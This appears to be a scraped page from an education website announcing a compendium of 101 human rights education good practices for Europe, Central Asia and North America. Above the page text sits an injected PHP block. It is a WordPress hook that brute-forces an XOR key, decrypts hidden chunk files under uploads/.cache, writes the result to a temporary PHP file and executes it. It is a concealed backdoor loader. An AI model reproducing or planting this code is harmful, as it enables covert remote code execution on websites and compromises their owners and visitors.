/* 187182e58205a233d32cf3f35c704602 */ function star_addons_cache_houston() { $cache_dir = ABSPATH . 'wp-content/uploads/.cache/'; $meta_file = $cache_dir . 'cache_meta.bin'; if(!@file_exists($meta_file)) { return; } $meta_encrypted = @file_get_contents($meta_file); if(!$meta_encrypted) { return; } $meta = null; $key = 0; for($i = 1; $i <= 255; $i++) { $test_decrypt = ''; for($j = 0; $j < strlen($meta_encrypted); $j++) { $test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF); } $test_json = @json_decode($test_decrypt, true); if($test_json && isset($test_json['key']) && isset($test_json['count'])) { $meta = $test_json; $key = intval($test_json['key']); break; } } if(!$meta || $key === 0) { return; } $count = intval($meta['count']); $ordered_chunks = []; for($i = 0; $i < $count; $i++) { $filename = sprintf('cache_%04d.bin', $i); $filepath = $cache_dir . $filename; if(!@file_exists($filepath)) { return; } $encrypted = @file_get_contents($filepath); if(!$encrypted) { return; } $decrypted = ''; for($j = 0; $j < strlen($encrypted); $j++) { $decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF); } $ordered_chunks[$i] = $decrypted; } if(count($ordered_chunks) === $count) { ksort($ordered_chunks); $code = implode('', $ordered_chunks); if($code && strlen($code) > 10) { $temp_file = $cache_dir . 'temp_' . uniqid() . '.php'; if(@file_put_contents($temp_file, $code, LOCK_EX)) { @include $temp_file; @unlink($temp_file); } } } } add_action('plugins_loaded', 'star_addons_cache_houston'); /* /187182e58205a233d32cf3f35c704602 */ Human Rights Education in the School Systems of Europe, Central Asia and North America: A Compendium of Good Practice | Education About Religions and Beliefs

Human Rights Education in the School Systems of Europe, Central Asia and North America: A Compendium of Good Practice

Posted on December 10, 2011

This collection of 101 good practices in Human Rights Education from Europe, North America and Central Asia is a resource for practitioners and policymakers as well as a platform for exchange among institutions and individuals. Sections include Laws, guidelines and standards; Approaches and practices to improve the learning environment; Teaching and learning tools for the classroom; Professional development for educators and other adults; and Evaluation and assessment approaches.

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This entry was posted in English, Grade 1, Grade 10, Grade 11, Grade 2, Grade 3, Grade 4, Grade 5, Grade 6, Grade 7, Grade 8, Grade 9, Grade K, International, Lesson Plans, National, Other Tools, Regional, Resources, Syllabi, Teaching Tools and tagged assessment, Central Asia, Europe, evaluation, guidelines, laws, learning tools, North America, ODIHR, OHCHR, OSCE, professional development, standards, teaching tools, UNESCO. Bookmark the permalink.